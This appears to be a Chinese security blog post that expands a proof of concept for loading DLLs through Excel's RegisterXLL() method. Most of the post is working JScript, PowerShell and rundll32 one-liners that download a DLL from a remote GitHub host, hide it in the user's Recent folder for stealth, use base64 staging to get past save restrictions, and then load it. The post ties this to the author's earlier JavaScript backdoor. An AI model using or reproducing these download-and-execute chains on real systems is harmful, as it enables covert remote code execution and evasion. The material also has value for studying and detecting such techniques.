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Use Excel.Application object's RegisterXLL() method to load dll

0x00 前言


Ryan Hanson‏@ryHanson最近分享了一个技巧,利用Excel.Application object's RegisterXLL()能够加载dll。我对其分享的POC作了测试,接着做了扩展,添加功能实现远程下载执行,并且分析该方法相关的利用技巧,详细介绍脚本开发中的细节。

0x01 简介


本文将要介绍如下内容:

  • POC测试
  • 添加功能实现远程下载执行
  • 扩展用法1:通过powershell实现
  • 扩展用法2:结合rundll32使用

0x02 POC测试


POC地址如下:

https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52

前提是系统已安装Microsoft Office软件,共提供三种利用方式

1.rundll32

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";x=new%20ActiveXObject('Excel.Application');x.RegisterXLL('C:\\test\\messagebox.dll');this.close();

2.js

var excel = new ActiveXObject("Excel.Application");
excel.RegisterXLL("C:\\test\\messagebox.dll");

3.powershell

$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
$excel.RegisterXLL("C:\test\messagebox.dll")

注:

测试的messagebox.dll来自于:https://github.com/3gstudent/test/blob/master/msg.dll

大小3kb,源代码及编译方法可参照文章《Use Office to maintain persistence》

0x03 添加功能


Jscript基础知识:

1、输出内容

js代码如下:

WScript.Echo("1");

直接执行js脚本会弹框

cmd执行:cscript.exe msg.js,控制台输出1

2、特殊目录

输出当前用户的临时目录:

WScript.Echo(WScript.CreateObject("WScript.Shell").Environment("USER")("TEMP"));

输出Recent目录:

WScript.Echo(WScript.CreateObject("WScript.Shell").SpecialFolders("Recent");

%AppData%\Microsoft\Windows\Recent(该目录后文会用到)

如下图

Alt text

添加文件名并输出:

WScript.Echo(WScript.CreateObject("WScript.Shell").SpecialFolders("Recent")+"\\msg.dll");

对原POC添加功能:

1、判断是否安装Microsoft Office

通过判断是否存在Microsoft Office默认安装文件夹实现

查找文件夹:

"c:\Program Files\Microsoft Office"

对应js代码如下:

var FileSys = WScript.CreateObject("Scripting.FileSystemObject");   
if (FileSys.FolderExists("c:\\Program Files\\Microsoft Office"))   
{   
	WScript.Echo("[+] Find Microsoft Office.");   
}
else
{
	WScript.Echo("[!] I can't find Microsoft Office!");    
}

2、从Github下载dll文件并保存至Recent目录

方式1: 使用Msxml2.XMLHTTP

var sGet=new ActiveXObject("ADODB.Stream");
var xGet=null;
xGet=new ActiveXObject("Msxml2.XMLHTTP");
xGet.Open("GET","https://raw.githubusercontent.com/3gstudent/test/master/calc.dll",0);
xGet.Send();
sGet.Type=1;
sGet.Open();
sGet.Write(xGet.ResponseBody);
sGet.SaveToFile((WScript.CreateObject("WScript.Shell").SpecialFolders("Recent")+"\\calc.dll"),2);

方式2: 使用WinHttp.WinHttpRequest.5.1

h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
h.Open("GET","https://raw.githubusercontent.com/3gstudent/test/master/calc.dll",false);
h.Send();
s=new ActiveXObject("ADODB.Stream");
s.Type=1;
s.Open();
s.Write(h.ResponseBody);
x=new ActiveXObject("WScript.Shell").SpecialFolders("Recent")+"\\calc.dll";
s.SaveToFile(x,2);

两种js方式均可以,但是在rundll32下使用的话,需要使用方式2,原因如下:

不支持WScript.CreateObject("WScript.Shell"),需要换成new%20ActiveXObject("WScript.Shell")

cmd执行:

rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";xGet=new%20ActiveXObject("Msxml2.XMLHTTP");xGet.Open("GET","https://raw.githubusercontent.com/3gstudent/test/master/calc.dll",0);xGet.Send();

提示权限不够,如下图

Alt text

注:

选择保存在Recent目录是为了提高隐蔽性

保存在Recent目录,通过explorer.exe无法查看下载的dll,详情如下图

Alt text

但在cmd下能够查看下载的dll,详情如下图

Alt text

在其他目录不存在这个问题,详情如下图

Alt text

为保证js和rundll32利用代码格式对应,原js代码作相应优化,最终代码为:

FileSys = WScript.CreateObject("Scripting.FileSystemObject");   
if (FileSys.FolderExists("c:\\Program Files\\Microsoft Office"))   
{   
	WScript.Echo("[+] Find Microsoft Office."); 
	WScript.Echo("[+] Download file...");
	h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
	h.Open("GET","https://raw.githubusercontent.com/3gstudent/test/master/calc.dll",false);
	h.Send();
	s=new ActiveXObject("ADODB.Stream");
	s.Type=1;
	s.Open();
	s.Write(h.ResponseBody);
	x=new ActiveXObject("WScript.Shell").SpecialFolders("Recent")+"\\calc.dll";
	s.SaveToFile(x,2);

	WScript.Echo("[+] Download Success.");
	WScript.Echo("[+] Load dll...");	 
	e= new ActiveXObject("Excel.Application");
	e.RegisterXLL(x);
	WScript.Echo("[+] Load dll Success.");	  
}
else
{
	WScript.Echo("[!] I can't find Microsoft Office!");  	   
}

注:

相关代码已上传至Github,完整POC可参照:

https://github.com/3gstudent/ExcelDllLoader

0x04 扩展用法


1、通过powershell实现

$path=$env:APPDATA+"\Microsoft\Windows\Recent\calc.dll"
$client = new-object System.Net.WebClient
$client.DownloadFile('https://raw.githubusercontent.com/3gstudent/test/master/calc.dll', $path)
$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
$excel.RegisterXLL($path)

注:

该代码缺少判断MicrosoftOffice是否安装的功能

2、结合rundll32使用

需要注意如下细节:

  • 空格用%20表示
  • 为避免执行后弹框,需要加入语句document.write();

否则,如下图

Alt text

使用ADODB.Stream保存文件,会报错,测试代码如下:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","https://raw.githubusercontent.com/3gstudent/test/master/calc.dll",false);h.Send();s=new%20ActiveXObject("ADODB.Stream");s.Type=1;s.Open();s.Write(h.ResponseBody);x=new%20ActiveXObject("WScript.Shell").SpecialFolders("Recent")+"\\calc.dll";s.SaveToFile(x,2);

提示因为安全设置导致无法保存文件,如下图

Alt text

换用Scripting.FileSystemObject,能够保存文本文件,但是不支持二进制文件

保存文本文件,测试代码如下:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","https://raw.githubusercontent.com/3gstudent/test/master/version.txt",false);h.Send();s=new%20ActiveXObject("Scripting.FileSystemObject");f=s.CreateTextFile("c:\\test\\1.txt",true);f.WriteLine(h.ResponseText);f.Close();

保存二进制文件,测试代码如下:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","https://raw.githubusercontent.com/3gstudent/test/master/calc.dll",false);h.Send();s=new%20ActiveXObject("Scripting.FileSystemObject");f=s.CreateTextFile("c:\\test\\1.txt",true);f.WriteLine(h.ResponseText);f.Close();

报错,如下图

Alt text

解决方法:

将二进制文件作base64编码并保存成文本文件,再通过Scripting.FileSystemObject保存

对calc.dll作base64编码并保存至文件buffer.txt,对应powershell代码如下:

$fileContent = [System.IO.File]::ReadAllBytes('calc.dll')
$fileContentEncoded = [System.Convert]::ToBase64String($fileContent)| set-content ("buffer.txt") 

注:

读取二进制文件,不能使用命令Get-content

将buffer.txt上传至github

下载base64并保存文件对应的js代码如下:

h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
h.Open("GET","https://raw.githubusercontent.com/3gstudent/test/master/calcbase64.txt",false);
h.Send();
fso1=new ActiveXObject("Scripting.FileSystemObject");
f=fso1.CreateTextFile("c:\\test\\1.txt",true);
f.WriteLine(h.ResponseText);
f.Close();

下载base64并保存文件对应rundll32的代码如下:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","https://raw.githubusercontent.com/3gstudent/test/master/calcbase64.txt",false);h.Send();s=new%20ActiveXObject("Scripting.FileSystemObject");f=s.CreateTextFile("c:\\test\\1.txt",true);f.WriteLine(h.ResponseText);f.Close();

文件保存成功,该文件存储base64加密后的calc.dll

base64解密该文件并加载dll对应的js代码如下:

x="c:\\test\\calc.dll";
h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
h.Open("GET","https://raw.githubusercontent.com/3gstudent/test/master/calcbase64.txt",false);
h.Send();
var enc = new ActiveXObject("System.Text.ASCIIEncoding");
var length = enc.GetByteCount_2(h.ResponseText);
var ba = enc.GetBytes_4(h.ResponseText);
var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
ba = transform.TransformFinalBlock(ba, 0, length);
s=new ActiveXObject("ADODB.Stream");
s.Type=1;
s.Open();
s.Write(ba);	
s.SaveToFile(x,2);
new ActiveXObject("Excel.Application").RegisterXLL(x);

注:

以上两段代码结合,可应用在通过rundll32进行文件下载(先通过rundll32下载base64加密的文件,然后使用js脚本解密),可解决在之前的文章《JavaScript backdoor》给读者留下的小bug

base64解密该文件并加载dll对应的powershell代码如下:

$FilePath="C:\test\test1.dll"
$base64Buf = Get-content c:\test\1.txt
$fileContentBytes = [System.Convert]::FromBase64String($base64Buf) 
[System.IO.File]::WriteAllBytes($FilePath,$fileContentBytes)
$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
$excel.RegisterXLL($FilePath)

0x05 小结


本文介绍了利用Excel.Application object’s RegisterXLL() method加载dll的相关方法,着重分析如何编写js和powershell脚本对其扩展,并解决了在之前的文章《JavaScript backdoor》给读者留下的小bug。


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